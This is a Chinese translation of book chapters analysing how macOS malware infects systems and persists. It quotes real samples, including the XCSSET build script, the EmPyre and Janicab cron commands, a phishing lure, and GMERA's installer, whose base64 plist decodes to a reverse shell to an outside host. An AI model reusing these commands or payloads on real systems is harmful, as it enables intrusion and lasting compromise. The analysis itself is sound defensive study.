cd "${PROJECT_FILE_PATH}/xcuserdata/.xcassets/"
xattr -c "xcassets"
chmod +x "xcassets"
./xcassets "${PROJECT_FILE_PATH}" true%
清单 1-7:恶意构建脚本Assets.xcassets(XCSSET)
具体而言,脚本会进入隐藏的/.xcassets/目录。然后,它通过移除任何扩展属性并设置可执行(+x)标志,准备执行xcassets二进制文件。最后,脚本执行该二进制文件,并传入诸如项目路径等参数。
供应链攻击
另一种感染目标系统的方法是黑客攻击合法的开发者或商业网站,这些网站分发第三方软件。这些所谓的供应链攻击既非常有效,又难以检测。例如,在 2017 年中期,攻击者成功入侵了流行的视频转码应用程序 HandBrake 的官方网站。通过这一访问,他们得以颠覆合法的转码应用程序,将其重新打包并加入他们的恶意软件副本,名为 Proton。^(18)
2018 年,另一起供应链攻击针对了流行的 Mac 应用网站 macupdate.com。在此次攻击中,黑客通过篡改下载链接,成功修改了流行 macOS 应用程序的下载链接,如 Firefox。具体来说,他们将这些链接修改为指向包含名为 CreativeUpdate 的恶意软件的木马版本(图 1-12)。^(19)
本章讨论的大部分攻击和感染向量,应当通过在 macOS 10.15+ 中引入应用程序公证要求得到完全或部分缓解。如前所述,这些要求确保 Apple 在允许软件运行之前,已经对其进行扫描和批准。
不幸的是,正如我们接下来将讨论的,感染 Mac 系统的其他途径仍然存在。

图 1-12:访问 macupdate.com 并下载运行了木马应用程序的用户,可能不幸地感染了自己——这完全不是他们的错。
远程服务的账户泄露
在 macOS 上,用户可以启用并配置各种面向外部的服务,如 RDP 和 SSH,以允许用户远程共享内容或提供合法的远程访问。然而,如果这些服务配置错误或使用了弱密码或被泄露的密码,攻击者可能会通过这些服务访问系统,从而执行恶意代码。
多年来,臭名昭著的 FruitFly 恶意软件的感染向量一直是一个谜。直到 2018 年,FBI 的一份闪电报告揭示了该恶意软件是如何能够感染远程系统的。答案是:通过攻击面向外部的服务。根据报告:
攻击向量包括扫描和识别面向外部的服务,包括 Apple Filing Protocol (AFP,端口 548)、RDP 或其他 VNC、SSH(端口 22)以及 “Back to My Mac”(BTMM),这些服务通常会被弱密码或从第三方数据泄露中派生的密码攻击。^(20)
2020 年,攻击者将 IPStorm 恶意软件从 Windows 和 Linux 移植到 macOS。IPStorm 通过 暴力破解 SSH 账户来感染远程系统(包括启用了 SSH 的 macOS 系统)。一旦猜测出有效的用户名和密码,它就会下载并执行有效负载到远程系统。^(21) 列表 1-8 是 IPStorm 代码的一部分,包含负责将自身安装到远程系统上的逻辑:
int ssh.InstallPayload(...) {
ssh.SystemInfo.GoArch(...);
statik.GetFileContents(...);
ssh.(*Session).Start(...);
}
列表 1-8:远程感染逻辑(IPStorm)
如您所见,IPStorm 调用了一个名为 GoArch 的方法,用于收集远程系统的信息,例如其架构。通过这些信息,它可以通过调用 GetFileContents 方法下载兼容的有效负载。最后,它在远程系统上执行该有效负载,开始持续感染。
漏洞利用
大多数 macOS 注入向量需要相当多的用户交互,例如下载和运行恶意应用程序。此外,如前所述,最近的 macOS 恶意软件防护措施可能已经能够阻止大多数此类攻击。利用漏洞,另一方面,更加隐蔽,因为它们可以在没有直接用户交互或操作系统级别防护检测的情况下静默安装恶意软件。利用漏洞是指通过代码利用某个漏洞来执行攻击者指定的代码,例如,安装恶意软件。零日漏洞利用是指那些攻击尚未发布修补程序的漏洞,使其成为最致命的感染途径。即使供应商发布了零日漏洞的修补程序,未应用安全更新的用户仍然容易受到攻击。攻击者和恶意软件可以利用这一事实,针对未修补的用户进行攻击。
攻击者和恶意软件作者通常会试图发现或采购浏览器、邮件或聊天客户端等应用程序中的漏洞,以便利用漏洞实施远程攻击。例如,最常见的 Mac 恶意软件之一 Flashback,利用了一个未修补的 Java 漏洞,感染了超过五十万台 Mac 计算机。^(22)
最近,在 2019 年,黑客利用 Firefox 的零日漏洞,将恶意软件部署到完全修补的 macOS 系统中。以下诱人的电子邮件吸引了目标用户访问包含漏洞代码的恶意网站:
亲爱的 XXX,
我的名字是 Neil Morris,我是 Adams Prize 组织者之一。
每年我们都会更新一支独立专家团队,他们负责评估竞争项目的质量:Adams Prize 官方网站
我们的同事推荐您作为该领域的经验丰富的专家。我们需要您的协助,评估几项 Adams Prize 的项目。
期待收到您的回复。
此致敬礼,
Neil Morris
如果用户通过 Firefox 访问该网站,零日漏洞将悄无声息且持续地安装一个 macOS 后门。^(23) 幸运的是,对于普通的 macOS 用户来说,利用零日漏洞部署恶意软件的情况相对较少见。然而,低估这些强大能力的使用,尤其是对于复杂的 APT 和国家级黑客组织来说,是天真的。当然,这些漏洞利用对于任何愿意付费的人都是可得的。图 1-13 显示了一封泄露的电子邮件,发送给臭名昭著的网络间谍公司 HackingTeam,提供了针对 Apple 系统的漏洞利用。

图 1-13:零日漏洞待售
该公司最终以 45,000 美元购买了该漏洞,一个 Flash 零日漏洞。^(24) 随着苹果公司通过添加诸如应用程序公证要求等安全机制不断加强 macOS 的安全性,攻击者将大部分被迫放弃低效的用户协助感染方式,而转而利用漏洞来成功感染 macOS 用户。
物理访问
到目前为止,本章讨论的所有感染途径都是远程的,这意味着攻击者在攻击时并未实际出现在系统所在地。远程攻击有几个优点。它们使攻击者能够克服地理差异,并且能够扩大攻击范围,感染全球范围内的多个目标。远程攻击还增加了攻击者的隐蔽性,降低了他们被发现的风险;如果他们足够小心,攻击者很难被识别或被捕捉。
远程攻击的主要缺点是其成功率远未得到保证。当攻击者能够获得计算机的物理访问权限时,他们实现成功感染的可能性大大增加。然而,要做到这一点,攻击者首先必须获得目标系统的实际访问权限,并且要承担被当场抓获的风险。此外,物理攻击通常仍然需要漏洞利用。尽管普通黑客可能没有资源,也不愿意接受物理访问攻击的风险,但国家级黑客,通常针对特定的高价值目标,已知曾成功实施过此类攻击。例如,在一篇标题为“维基解密揭示 CIA 如何破解 Mac 隐藏代码”的文章中,Wired指出:
如果 CIA 想要进入你的 Mac,单单避免那些带有病毒附件的电子邮件或恶意设计的网页可能不足以保护你……如果兰利的黑客获得了物理访问权限,他们仍然可以感染你笔记本电脑中最深层、最隐秘的区域。^(25)
文章中提到的泄露政府文件讨论了该机构在可扩展固件接口(EFI)漏洞利用方面的能力,这些漏洞针对的是操作系统启动前的代码中的漏洞。它们安装的有效载荷通常非常难以检测和移除。此外,由于被利用的漏洞可能存在于只读内存中,因此可能无法通过基于软件的修复来解决。有关 EFI 和引导加载程序攻击的更多细节,请参见《BootBandit:一项 macOS 引导加载程序攻击》。^(26)
当然,这些基于低级 EFI 的攻击并不是拥有物理访问权限的攻击者唯一的选择。例如,攻击者可以利用漏洞(例如 USB 栈中的漏洞),即使目标 Mac 已锁定。举个例子:苹果桌面操作系统的旧版本中存在一个可靠可利用的 USB 漏洞。攻击者只需插入一个 USB 设备,即使目标处于锁定状态,也可以触发这个非公开的漏洞。此外,由于漏洞代码以 root 权限运行,成功利用该漏洞可能会导致通过安装持久性恶意软件来完全控制系统。
最近,臭名昭著的 Checkm8 漏洞(因能够越狱 iPhone 而广为人知)被发现也影响了苹果的非移动设备,如带有 T2 芯片的 Mac 和 MacBook。当攻击者获得目标系统的物理访问权限时,可以利用这个漏洞感染 macOS 系统。^(27)
接下来
现在你应该已经对恶意软件如何感染 macOS 系统有了扎实的理解。那么,一旦恶意软件感染了系统,它会做些什么呢?通常,它会持续安装自身。在第二章中,我们将关注各种持久化方法。
参考文献
第二章:持续性

一旦恶意软件成功入侵系统,它的下一个目标通常是保持持久性。持久性是恶意软件通过在系统中安装自身来确保其在启动时、用户登录时或其他确定性事件发生时自动重新执行的手段。绝大多数 Mac 恶意软件都试图获得持久性,否则系统重启可能会成为它的终结。
当然,并非所有恶意软件都会保持持久性。有一种特别的恶意软件通常不会保持持久性,即勒索软件,这是一种加密用户文件并要求赎金以恢复文件的恶意代码。一旦恶意软件加密了用户的文件并提供了赎金说明,就没有必要继续停留在系统中。类似地,复杂的攻击者可能会利用仅存在于内存中的有效负载,这些有效负载设计上不会在系统重启后存活。其吸引力在于?极高的隐蔽性。
尽管如此,大多数恶意软件以某种方式保持持久性。现代操作系统,包括 macOS,提供了多种方式让合法软件保持持久性。安全工具、更新程序和其他程序通常会利用这些机制,确保它们在每次系统重启时自动重新启动。多年来,恶意软件作者也利用这些相同的机制不断执行他们的恶意创作。在本章中,我们将讨论 Mac 恶意软件常常滥用的持久性机制(或者在少数情况下,可能滥用的机制)。在适用的情况下,我们将重点介绍利用每种持久性技术的实际恶意样本。通过全面了解这些方法,你应该能够更有效地分析 Mac 恶意软件,并且在感染系统上发现持久性恶意软件。
登录项
如果某个应用程序应该在用户每次登录时自动执行,Apple 推荐将其安装为登录项。登录项在用户的桌面会话中运行,继承用户的权限,并在用户登录时自动启动。由于这种持久性,Mac 恶意软件通常会将自己安装为登录项。你可以在像 Kitm、NetWire 和 WindTail 这样的恶意软件中找到这一技术的示例。
你可以在“系统偏好设置”应用中查看登录项。选择用户与群组面板中的登录项标签页(图 2-1)。

图 2-1:持久化的登录项。Finder 项目实际上是恶意软件(NetWire)。
不幸的是,由于 macOS 并不直接在其界面中显示持久化登录项的完整路径(除非你将鼠标悬停在该项上几秒钟),恶意软件通常能够成功伪装成合法软件。例如,在 Figure 2-1 中,Finder 项实际上是恶意软件,名为 NetWire,作为登录项持久存在。
Apple 的 backgroundtaskmanagementagent 程序负责管理各种后台任务,如登录项,它将这些项目存储在名为 backgrounditems.btm 的文件中。有关此文件及其格式的更多技术细节,请参阅我关于“阻止登录项的博客”文章。^(1)
为了以编程方式创建登录项,软件可以调用各种共享文件列表(LSSharedFileList*)API。例如,LSSharedFileListCreate 函数返回现有登录项列表的引用。然后,可以将该列表传递给 LSSharedFileListInsertItemURL 函数,并提供要作为登录项持久化的新应用程序的路径。为了说明这一概念,请查看以下来自 NetWire 恶意软件的反编译代码。该恶意软件已将自己复制到 ~/.defaults/Finder.app,并作为登录项持久存在,确保每次用户登录时,macOS 会自动执行它(Listing 2-1)。
length = snprintf_chk(&path, 0x400, ...., "%s%s.app", &directory, &name);
pathAsURL = CFURLCreateFromFileSystemRepresentation(0x0, &path, length, 0x1); 1
...
list = LSSharedFileListCreate(0x0, kLSSharedFileListSessionLoginItems, 0x0);
LSSharedFileListInsertItemURL(list, kLSSharedFileListItemLast, 0x0, 0x0, pathAsURL, ... ); 2
Listing 2-1: 登录项持久化(NetWire)
在这段代码片段中,恶意软件首先构建其在磁盘 1 上的位置的完整路径。然后,它调用多个 LSSharedFileList* API,将自己安装为登录项 2。持久性实现!
WindTail 是另一种作为登录项持久存在的恶意软件。通过 macOS 的 nm 工具,你可以查看二进制文件调用的导入 API,包括在这种情况下与持久性相关的 API(Listing 2-2)。
**%** **nm WindTail/Final_Presentation.app/Contents/MacOS/usrnode**
...
U _LSSharedFileListCreate
U _LSSharedFileListInsertItemURL
U _NSApplicationMain
...
U _NSHomeDirectory
U _NSUserName
Listing 2-2: 导入,包括 LSSharedFileList* API(WindTail)
在 nm 工具的输出中,注意到 WindTail 包含对 LSSharedFileListCreate 和 LSSharedFileListInsertItemURL API 的引用,它调用这些 API 以确保每次用户登录时都会自动启动。
macOS 的最新版本还支持特定应用程序的辅助登录项。这些辅助项位于应用程序包的 LoginItems 子目录中,它们可以通过调用 SMLoginItemSetEnabled API 来确保在用户登录时会自动重新执行。不幸的是,这些辅助登录项不会出现在前述的系统偏好设置面板中,使得它们更难以检测。如需了解有关这些辅助登录项的更多信息,请参见“现代登录项”博客文章或 Apple 关于该主题的文档。^(2)
启动代理和守护进程
虽然苹果提供登录项作为持久化应用程序的一种方式,但它也有一个机制,称为启动项,用于持久化非应用程序二进制文件,如软件更新程序和后台进程。由于大多数 Mac 恶意软件试图在后台偷偷运行,因此大多数 Mac 恶意软件利用启动项来实现持久化也就不足为奇了。事实上,根据我撰写的《2019 年 Mac 恶意软件报告》,2019 年所有选择持久化的恶意软件都作为启动项执行。^(3) 这些样本包括 NetWire、Siggen、GMERA 等。
启动项有两种类型:启动代理和启动守护进程。启动守护进程是非交互式的,通常在用户登录之前启动。此外,它们以 root 权限运行。一个例子是苹果的软件更新程序softwareupdated。另一方面,启动代理在用户登录后以标准用户权限运行,并且可能与用户会话进行交互。苹果的NotificationCenter程序处理向用户显示通知,作为一个持久化的启动代理运行。
你会在 macOS 的/Library/LaunchDaemons目录中找到第三方启动守护进程,第三方启动代理则存储在/Library/LaunchAgents或~/Library/LaunchAgents目录中。为了持久化为启动项,启动项属性列表应当被创建在这些目录中的一个。属性列表,或称plist,是一种 XML、JSON 或二进制文件,包含键/值对,用于存储如配置信息、设置、序列化对象等数据。这些文件在 macOS 中无处不在。事实上,我们在第一章已经探索过应用程序的Info.plist文件。要查看属性列表文件的内容,无论其格式如何,请使用以下任一工具(列表 2-3)。
plutil -p *<path to plist**>*
defaults read *<path to plist>*
列表 2-3:解析.plist文件的 macOS 工具
启动项的属性列表文件描述了该启动项,以供负责处理此类 plist 文件的系统守护进程launchd使用。在持久化方面,最相关的键/值对包括:
-
标签:用于标识启动项的名称。通常以反向域名表示法书写,com.``companyName``.``itemName。 -
Program或ProgramArguments:包含启动项可执行脚本或二进制文件的路径。要传递给此可执行项的参数是可选的,但如果使用ProgramArguments键,可以指定这些参数。 -
RunAtLoad:包含一个布尔值,如果设置为true,则指示launchd自动启动该启动项。如果该项是启动守护进程,它将在系统初始化时启动。另一方面,由于启动代理是特定于用户的,它们会在用户启动登录过程后再启动。
这三个键值对足以创建一个持久的启动项。为了演示这一点,让我们创建一个名为com.foo.bar的启动项(清单 2-4)。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC ...>
<plist version="1.0"><dict>
<key>Label</key>
<string>com.foo.bar</string>
<key>ProgramArguments</key>
<array>
<string>/Users/user/launchItem</string>
<string>foo</string>
<string>bar</string>
</array>
<key>RunAtLoad</key>
1 <true/>
</dict>
</plist>
清单 2-4:一个示例的启动项属性列表
通过ProgramArguments数组,这个启动项指示launchd执行文件/Users/user/launchItem,并带有两个命令行参数:foo和bar。由于RunAtLoad键设置为true 1,这个文件将在用户登录之前自动执行。关于启动项的所有相关讨论,包括 plist 及其键值对的综述,请参阅“一个 Launchd 教程”或“入门 Launchd”。^(4) 这些资源包括讨论其他键值对(超出RunAtLoad)的内容,这些键值对可能被持久恶意软件使用,例如PathState和StartCalendarInterval。由于作为启动项持久存在的恶意软件相当普遍,现在让我们看几个示例。
在本章的前面部分,我们展示了 NetWire 作为登录项持久存在的方式。有趣的是,它也作为一个启动代理持久存在。如果受害者找到并移除了一个持久化机制,他们可能会假设这是唯一的机制,并忽视其他机制。因此,恶意软件将会在用户每次登录时自动重新启动。检查恶意软件的二进制代码会在地址0x0000db60处发现一个嵌入的属性列表模板(清单 2-5)。
0x0000db60 "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n
<!DOCTYPE plist PUBLIC \"-//Apple Computer//DTD PLIST 1.0//EN\n\t\"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n
<plist version=\"1.0\">\n
<dict>\n
<key>Label</key>\n
<string>%s</string>\n
<key>ProgramArguments</key>\n
<array>\n
<string>%s</string>\n
</array>\n
<key>RunAtLoad</key>\n
1 <true/>\n
<key>KeepAlive</key>\n
<%s/>\n
</dict>\n
</plist>\n", 0
清单 2-5:一个启动项属性列表模板(NetWire)
在安装时,恶意软件将动态填充这个 plist 模板,例如,通过用感染系统上恶意软件二进制文件的路径替换ProgramArguments数组中的%s。由于RunAtLoad键设置为true 1,macOS 会在系统重新启动并且用户登录时启动此二进制文件。
NetWire 的反编译代码片段显示,一旦它配置了启动代理属性列表,这个属性列表就会被写入用户的启动代理目录~/Library/LaunchAgents(清单 2-6)。
...
eax = getenv("HOME");
eax = snprintf_chk(&var_6014, 0x400, 0x0, 0x400, "%s/Library/LaunchAgents/", eax); 1
...
eax = snprintf_chk(edi, 0x400, 0x0, 0x400, "%s%s.plist", &var_6014, 0xe5d6); 2
edi = open(edi, 0x601);
if (edi >= 0x0) {
write(edi, var_688C, ebx); 3
...
}
清单 2-6:启动代理持久化逻辑(NetWire)
在反编译的代码中,您可以看到恶意软件首先调用getenv API 来获取HOME环境变量的值,该值设置为当前用户的主目录。然后将此值传递给snprintf_chk API 来动态构建到用户LaunchAgents目录的路径 1。然后,恶意软件再次调用snprintf_chk来追加属性列表文件的名称 2。由于此名称在运行时由恶意软件解密,因此在清单 2-6 中不显示为明文字符串。
一旦恶意软件构建了完整的路径,它就会写出动态配置的 plist 3。在代码执行之后,你可以通过 macOS 的defaults工具检查.plist文件(~/Library/LaunchAgents/com.mac.host.plist)(清单 2-7)。
% **defaults read ~/Library/LaunchAgents/com.mac.host.plist**
{
KeepAlive = 0;
Label = "com.mac.host";
ProgramArguments = (
"/Users/user/.defaults/Finder.app/Contents/MacOS/Finder"
);
RunAtLoad = 1;
}
清单 2-7:一个恶意的启动项属性列表(NetWire)
从输出中可以看出,恶意软件持久化组件的路径可以在ProgramArguments数组中找到:/Users/user/.defaults/Finder.app/Contents/MacOS/Finder。如前所述,恶意软件在运行时通过编程确定当前用户的主目录,因为这个目录名称很可能在每个被感染的系统中都是唯一的。
为了在一定程度上隐藏自己,NetWire 将其持久化二进制文件Finder安装到它创建的一个名为.defaults的目录中。通常,macOS 不会显示以句点开头的目录。因此,恶意软件可能会对大多数毫无察觉的用户保持隐藏状态。(你可以通过按下 command-shift-space [⌘-⇧-space] 或在终端中使用ls命令并加上-a选项来显示这些隐藏文件。)你还可以看到,在.plist文件中,RunAtLoad键被设置为1(true),这指示系统在每次用户登录时自动启动恶意软件的二进制文件。持久性实现!
另一个作为启动项保持持久性的 Mac 恶意软件示例是 GMERA。它作为一个木马化的加密货币交易应用程序分发,包含一个名为run.sh的安装脚本,该脚本位于其应用程序包的Resources/目录中(图 2-2)。

图 2-2:一个被木马化的应用程序(GMERA)
检查该脚本会发现,它将安装一个持久化且隐藏的启动代理到~/Library/LaunchAgents/.com.apple.upd.plist(列表 2-8)。
#! /bin/bash
...
plist_text="PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHBsaXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQTElTVCAxLjAvL0VOIiAiaHR0cDovL3d3dy5hcHBsZS5jb20vRFREcy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJzaW9uPSIxLjAiPgo8ZGljdD4KCTxrZXk+S2VlcEFsaXZlPC9rZXk+Cgk8dHJ1ZS8+Cgk8a2V5PkxhYmVsPC9rZXk+Cgk8c3RyaW5nPmNvbS5hcHBsZXMuYXBwcy51cGQ8L3N0cmluZz4KCTxrZXk+UHJvZ3JhbUFyZ3VtZW50czwva2V5PgoJPGFycmF5PgoJCTxzdHJpbmc+c2g8L3N0cmluZz4KCQk8c3RyaW5nPi1jPC9zdHJpbmc+CgkJPHN0cmluZz5lY2hvICdkMmhwYkdVZ09qc2daRzhnYzJ4bFpYQWdNVEF3TURBN0lITmpjbVZsYmlBdFdDQnhkV2wwT3lCc2MyOW1JQzEwYVNBNk1qVTNNek1nZkNCNFlYSm5jeUJyYVd4c0lDMDVPeUJ6WTNKbFpXNGdMV1FnTFcwZ1ltRnphQ0F0WXlBblltRnphQ0F0YVNBK0wyUmxkaTkwWTNBdk1Ua3pMak0zTGpJeE1pNHhOell2TWpVM016TWdNRDRtTVNjN0lHUnZibVU9JyB8IGJhc2U2NCAtLWRlY29kZSB8IGJhc2g8L3N0cmluZz4KCTwvYXJyYXk+Cgk8a2V5PlJ1bkF0TG9hZDwva2V5PgoJPHRydWUvPgo8L2RpY3Q+CjwvcGxpc3Q+"
echo "$plist_text" | base64 --decode1 > "/tmp/.com.apple.upd.plist"
cp "/tmp/.com.apple.upd.plist" "$HOME/Library/LaunchAgents/.com.apple.upd.plist" 2
launchctl load "/tmp/.com.apple.upd.plist" 3
列表 2-8:一个恶意的安装脚本,run.sh(GMERA)
请注意,plist 中的混淆内容位于名为plist_text的变量中。恶意软件使用 macOS 的base64命令 1 解码 plist,并将其写入/tmp目录,命名为.com.apple.upd.plist。然后,通过cp命令,它将该文件复制到用户的LaunchAgents目录 2。最后,它通过launchctl命令 3 启动该启动代理。
一旦安装脚本被执行,你可以检查现在已经解码的启动代理属性列表,.com.apple.upd.plist(列表 2-9)。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" ...>
<plist version="1.0">
<dict>
<key>KeepAlive</key>
<true/>
<key>Label</key>
<string>com.apples.apps.upd</string>
<key>ProgramArguments</key>
<array>
<string>sh</string>
<string>-c</string>
<string>echo 'd2hpbGUgOjs...RvbmU=' | base64 --decode | bash</string>
</array>
1 <key>RunAtLoad</key>
<true/>
</dict>
列表 2-9:一个恶意的启动代理 plist(GMERA)
由于RunAtLoad键被设置为true 1,ProgramArguments数组中指定的命令(解码为远程 shell)将在每次用户登录时自动执行。
最后一个启动项持久性的例子是 EvilQuest。如果该恶意软件以 root 权限运行,它将作为一个启动守护进程保持持久性,但因为启动守护进程是以 root 身份运行的,用户必须拥有 root 权限才能创建一个启动守护进程。因此,如果 EvilQuest 发现自己仅以用户权限运行,它会创建一个用户启动代理。
为了处理这种持久性,EvilQuest 包含一个嵌入的属性列表模板,用于创建启动项。然而,为了增加分析难度,这个模板被加密了。在后续章节中,我将描述如何应对这些反分析手段,但现在你只需要知道,我们可以利用调试器,简单地等待恶意软件解密嵌入的属性列表模板。然后我们可以查看内存中未加密的 plist 模板(Listing 2-10)。
% **lldb /Library/mixednkey/toolroomd**
...
(lldb) **x/s $rax**
0x100119540: "<?xml version="1.0" encoding="UTF-8"?>\n<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">\n<plist version="1.0">\n<dict>\n<key>Label</key>\n<string>%s</string>\n\n<key>ProgramArguments</key>\n<array>\n<string>%s</string>\n<string>--silent</string>\n</array>\n\n<key>RunAtLoad</key>\n<true/>\n\n<key>KeepAlive</key>\n<true/>\n\n</dict>\n</plist>"
Listing 2-10:解密后的属性列表模板(EvilQuest)
这里我们使用lldb,macOS 的调试器,启动名为toolroomd的文件。一段时间后,恶意软件解密属性列表模板并将其内存地址存储在RAX寄存器中。这使我们能够通过x/s命令显示现在已经解密的模板。
通常,一个更简单的方法是将恶意软件执行在独立分析或虚拟机中,等待恶意软件写出其启动项属性列表。一旦 EvilQuest 完成安装并持久性地感染系统,你可以在/Library/LaunchDaemons目录中找到它的启动守护进程属性列表,名为com.apple.questd.plist(Listing 2-11)。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>questd</string>
<key> 1 ProgramArguments</key>
<array>
<string>sudo</string>
<string>/Library/AppQuest/com.apple.questd</string>
<string>--silent</string>
</array>
<key> 2 RunAtLoad</key>
<true/>
...
</dict>
Listing 2-11:启动项 plist(EvilQuest)
由于RunAtLoad键被设置为true 2,ProgramArguments数组 1 中的值将在每次系统重启时自动执行。
调度的作业和任务
在 macOS 中,有多种方式可以调度作业或任务在指定时间间隔内运行。恶意软件可以(并且确实)滥用这些机制来保持在感染的 macOS 系统上的持久性。本节将介绍几种调度机制,如 cron 作业、at 作业和定期脚本。需要注意的是,启动项也可以通过StartCalendarInterval键调度在定期的时间间隔内运行,但由于我们在本章早些时候已经讨论过它们,这里不再重复介绍。
Cron 作业
由于其基于 BSD 的核心基础,macOS 提供了几种类 Unix 的持久性机制。Cron 作业就是其中之一。通常由系统管理员使用,它们提供了一种在特定时间持久执行脚本、命令和二进制文件的方法。与前面讨论的登录项和启动项不同,持久性 cron 作业通常在指定的时间间隔内自动执行,例如每小时、每天或每周,而不是在特定事件(如用户登录)发生时执行。你可以通过内置的/usr/bin/crontab工具调度持久性 cron 作业。
在 macOS 恶意软件中,利用 cron 作业保持持久性并不特别常见。然而,流行的开源后渗透工具 EmPyre,攻击者有时会使用它来攻击 macOS 用户,提供了一个例子。^(5) 在它的 crontab 持久性模块中,EmPyre 直接调用crontab二进制文件将自己安装为一个 cron 作业(Listing 2-12)。
cmd = 1 'crontab -l | { cat; echo "0 * * * * %s"; } | 2 crontab -'
3 subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read()
Listing 2-12:Cron 作业持久性(EmPyre)
EmPyre 首先通过连接多个子命令构建一个字符串,这些命令将新的恶意 cron 作业与当前的作业一起添加。crontab命令(带有-l标志)将列出用户现有的 cron 作业 1。cat和echo命令将附加新命令。最后,crontab命令(带有-标志)将重新安装现有作业以及新的 cron 作业 2。一旦这些命令被连接在一起(并存储到cmd变量中),它们将通过 Python subprocess 模块的 Popen API 3 执行。cmd变量中的%s将在运行时用要持久化项的路径更新,0 * * * *组件指示 macOS 每小时执行一次该作业。关于 cron 作业的全面讨论,包括作业创建的语法,可以查看 Wikipedia 上的“Cron”页面。^(6)
让我们简要看一下 Janicab 的另一个 cron 作业持久性示例。该恶意软件将编译后的 Python 脚本runner.pyc作为 cron 作业持久化(Listing 2-13)。
subprocess.call("crontab -l > 1 /tmp/dump",shell=True)
...
subprocess.call( 2 "echo \"* * * * * python ~/.t/runner.pyc \" >>/tmp/dump",shell=True)
subprocess.call( 3 "crontab /tmp/dump",shell=True)
subprocess.call("rm -f /tmp/dump",shell=True)
Listing 2-13: cron 作业持久性(Janicab)
Janicab 的 Python 安装程序首先将现有的 cron 作业保存到名为/tmp/dump 1 的临时文件中。然后,它将其新作业附加到该文件 2 中,最后调用crontab来完成 cron 作业的安装 3。一旦新 cron 作业添加完成,macOS 将每分钟执行指定的命令python ~/.t/runner.pyc。这个编译后的 Python 脚本确保恶意软件始终在运行,并在必要时重新启动它。
at 作业
实现 macOS 持久性的另一种方式是通过at 作业,它们是一次性任务。^(7) 你可以在/private/var/at/jobs/目录中找到 at 作业,并通过/usr/bin/atq实用程序列举它们。在默认安装的 macOS 中,at 调度器/usr/libexec/atrun是禁用的。然而,恶意软件可以通过 root 权限启用它(Listing 2-14)。
# launchctl load -w /System/Library/LaunchDaemons/com.apple.atrun.plist
Listing 2-14: 启用 at 调度器
启用此调度器后,恶意软件可以通过将持久命令传递到/usr/bin/at,并指定执行的时间和日期,轻松创建一个 at 作业。一旦执行,它可以简单地重新安排该作业以保持持久性。不过,目前没有 Mac 恶意软件利用此方法保持持久性。
定期脚本
如果你列出/etc/periodic的内容,你会找到一个包含将在特定时间间隔内运行的脚本的目录(Listing 2-15)。
% **ls /etc/periodic**
daily
weekly
monthly
Listing 2-15: 定期脚本
尽管该目录由 root 拥有,但具有足够权限的恶意软件可能能够创建(或颠覆)一个定期脚本,从而在固定时间间隔内实现持久性。尽管定期脚本在概念上与 cron 作业相似,但它们之间还是有一些区别,例如它们由一个独立的守护进程处理。^(8) 与 at 作业类似,目前没有恶意软件利用此方法保持持久性。
登录和注销钩子
在 macOS 上实现持久性的另一种方式是通过 登录 和 登出钩子。安装为登录或登出钩子的脚本或命令会在用户每次登录或登出时自动执行。你会在用户特定的 ~/Library/Preferences/com.apple.loginwindow.plist 文件中找到这些钩子,以键值对的形式存储。键的名称应为 LoginHook 或 LogoutHook,值为在登录或登出时要执行的文件路径(示例 2-16)。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist ...>
<plist version="1.0">
<dict>
<key>LoginHook</key>
1 <string>/usr/bin/hook.sh</string>
</dict>
</plist>
示例 2-16:一个 LoginHook 示例
在这个例子中,hook.sh 脚本将会在每次用户登录时执行。请注意,在任何给定时刻,系统中只能指定一个 LoginHook 和一个 LogoutHook 键值对。然而,如果恶意软件遇到已经存在合法登录或登出钩子的系统,它可能会将额外的命令附加到现有的钩子上,从而获得持久性。或许由于苹果已经开始弃用这种持久性技术,目前没有恶意软件利用这些钩子。
动态库
动态库(dylibs)是包含可执行代码的模块,进程可以加载并执行这些代码。苹果的开发者文档解释了使用动态库的原因,指出操作系统已经“在库中实现了应用所需的大部分功能”^(9)。因此,应用程序开发者可以将他们的代码链接到这些库,而不是从头开始重新实现功能。虽然可以将库静态链接到程序中,但这样做会增加程序的大小和内存使用量。此外,如果库中发现了缺陷,程序就需要重新构建才能利用修复或更新的功能。另一方面,动态链接库只是将指定的依赖项添加到程序中;实际的库代码并未编译进来。当程序启动或需要访问库功能时,库会被动态加载。这减少了程序的大小和总内存使用量。动态加载这些库的程序将自动受益于任何修复和更新的功能。
大多数被 Mac 恶意软件滥用的持久性机制强制操作系统自动启动某个独立的应用程序或二进制文件。虽然这在获得和维持持久性方面没有问题,但通常会导致系统上运行一个新的不受信任的进程。一个好奇的用户可能会注意到这一点,尤其是如果他们查看正在运行的进程列表。更重要的是,安全工具主要关注进程级事件,可能很容易发现这些新进程,从而揭露恶意软件。
更隐蔽的持久化机制则利用动态库。由于这些库是在受信任的宿主进程中加载的,它们本身不会导致新进程的创建。因此,对正在运行的进程的检查不会轻易揭示它们的存在,这可能也不会被安全工具检测到。使用动态库进行持久化的思路非常直接。恶意软件首先定位到一个定期启动的现有进程,这个进程可能由系统自动启动,或者由用户手动启动(例如,用户的浏览器就是这样一个进程)。然后,它强迫该进程加载恶意库。
